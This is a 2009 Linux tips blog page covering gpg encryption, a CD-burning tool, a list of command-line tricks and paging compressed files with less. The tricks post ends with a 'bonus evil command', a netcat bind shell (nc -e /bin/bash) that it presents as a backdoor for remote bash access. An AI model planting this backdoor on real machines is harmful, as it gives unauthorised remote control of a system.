Madhav Kobal's Blog

This blog will be dedicated to Linux, Open Source and Technology news, affairs, how-tos and virtually EVERYTHING in these domains.

Posts Tagged ‘commands’

Encrypt Files with GPG

Posted by madhavkobal on 21/08/2009

Encrypting files from the command line is simple with gpg. You can use it to encrypt and decrypt files with a password.

The command gpg is part of GnuPG. GnuPG stands for GNU Privacy Guard and is GNU’s tool for secure communication and data storage. It can be used to encrypt data and to create digital signatures. It also includes an advanced key management facility. GnuPG works on Linux and UNIX like operating systems as well as for Windows and Mac OS X.

To encrypt a single file, use the -c command line option with gpg. For example, to encrypt the file myfinancial.info, use the command:

$ gpg -c myfinancial.info
Enter passphrase: YOUR-PASSWORD
Repeat passphrase: YOUR-PASSWORD

This will create the file myfinancial.info.gpg. Note that the original file is not deleted, so once you feel safe encrypting and decrypting files, you probably want to delete your unencrypted versions of the files. Also note that depending on your system’s configuration, gpg may ask for passphrases in pop-up windows rather than at the command line.

The -c option tells gpg to encrypt with a symmetric cipher. Caution: don’t forget your passphrase (password), there is no way to recover data with out the passphrase.

To decrypt the file, use the command:

$ gpg myfinancial.info.gpg
gpg: CAST5 encrypted data
Enter passphrase: YOUR-PASSWORD

If you want to write the output to a different file, use the -o command line option:

$ gpg –o myfin.info.txt myfinancial.info.gpg

If you’d rather have a “text” file, rather than a binary file, use the -a option to gpg:

$ gpg -c -a myfinancial.info
Enter passphrase: YOUR-PASSWORD
Repeat passphrase: YOUR-PASSWORD

This will create the file myfinancial.info.asc rather than myfinancial.info.gpg.

Posted in Uncategorized | Tagged: , | Leave a Comment »

MyBashBurn CLI Tool For Burning CDs and DVDs

Posted by madhavkobal on 21/08/2009

MyBashBurn is basically a Terminal User Interface (TUI) frontend for Bashburn script (it always had a bad interface) for Linux, which is a complete solution for burning or ripping CDs and DVDs. MyBashBurn uses dialog boxes/functions which draws (using ncurses) windows onto the screen.

Screenshots:

mybashburn mybashburn

MyBashBurn features:

  • burn data Cds,
  • burn music Cds
  • multisession Cds
  • burn and create ISO files
  • burn bin/cue files
  • create mp3s, oggs and flac files
  • supports burning DVD-images and data DVDs,
  • and other options

Also makes use of advanced and extensive regular expressions for the control of the capabilities of backend applications to burn and create audio files. MyBashBurn depends on cdrecord and other backend applications, so basically if your writing device works with it, MyBashBurn will work flawlessly.

Download MyBashBurn (available files: Ubuntu .deb, rpm and source files).

Posted in Uncategorized | Tagged: , | Leave a Comment »

Another 10 Useful Linux Commands

Posted by madhavkobal on 20/08/2009

1. Twitter update from terminal:

curl -u YourUsername:YourPassword -d status="Your status message go here" http://twitter.com/statuses/update.xml

2. Find removed (deleted) files still in use via /proc:

find -L /proc/*/fd -links 0 2>/dev/null

3. Check if network cable is plugged in and working correctly:

mii-tool eth0

4. Migrate existing Ext3 filesystems to Ext4:

tune2fs -O extents,uninit_bg,dir_index /dev/yourpartition

Before doing this, back-up all data on any ext3 partitions that are to be converted to ext4.
After running previous command you MUST run fsck, is needed to return the filesystem to a consistent state.

fsck -pDf /dev/yourpartition

Edit /etc/fstab and change the ‘type’ from ext3 to ext4 for any partitions that are converted to ext4.

5. On-the-fly unrar movie in .rar archive and play it, does also work on part archives:

unrar p -inul foo.rar|mplayer -

6. List programs with open ports and connections:

netstat -ntauple

or

netstat -lnp

7. Using ruby, search for the string “search” and replace it with the string “replace”, on all files with the extension php in the curret folder. Do also a backup of each file with the extension “bkp”:

ruby -i.bkp -pe "gsub(/search/, 'replace')" *.php

8. Find files larger than 1 GB, everywhere:

find / -type -f -size +1000000000c

9. Kill a process that is locking a file:

fuser -k filename

10. Manually pause/unpause an application (process) with POSIX-Signals, for instance Firefox:

killall -STOP -m firefox

The above command suspends all Firefox Threads. Results in Zero CPU load. Useful when having 100+ Tabs open and you temporarily need the power elsewhere. Be careful – might produce RACE CONDITIONS or LOCKUPS in other processes or FF itself. Matching is case sensitive.

Bonus: an evil command -> create a backdoor on a machine to allow remote connection to bash:

nc -vv -l -p 1234 -e /bin/bash

This will launch a listener on the machine that will wait for a connection on port 1234. When you connect from a remote machine with something like:

nc 192.168.0.1 1234

You will have console access to the machine through bash

Posted in Uncategorized | Tagged: , , | Leave a Comment »

Reading Compressed Files With less

Posted by madhavkobal on 20/08/2009

less, the better-featured version of more, which among other things allows you to move backward through its output, is great for paging through text files. But it won’t automatically deal with compressed text files. This can be a nuisance, particularly when many of the files in /usr/share/doc are gzipped.

A straightforward alternative is zless, which will deal seamlessly with gzip, compress, or pack files, allowing you to page through them without having to unzip them. It also handles uncompressed files, and (contrary to the manpage) it appears to deal OK with input piped from stdin (e.g., ls | zless).

zless can’t, however, handle files that have been tarred as well as zipped. Here’s an alternative command line that will allow you to page through file.tar.gz without unpacking it beforehand and thus without leaving unzipped files lying around:

tar --to-stdout -zxf file.tar.gz | less

That’s great, but it’s a bit of a mouthful (or keyboardful) to remember. Try this instead (bash syntax):

export LESSOPEN="|tar --to-stdout -zxf %s"

Now try just typing less file.tar.gz. Magic!

In fact, this will deal with both uncompressed files and piped input as well, so you can set this variable in your .bashrc. However, it won’t work on plain .gz files – for those, you should still use zless.

One last note: If you regularly want to look at tar archives that aren’t also zipped (e.g., file.tar), you can set export LESSOPEN="|tar --to-stdout -xf %s" to work the same trick for these files.

Posted in Uncategorized | Tagged: | Leave a Comment »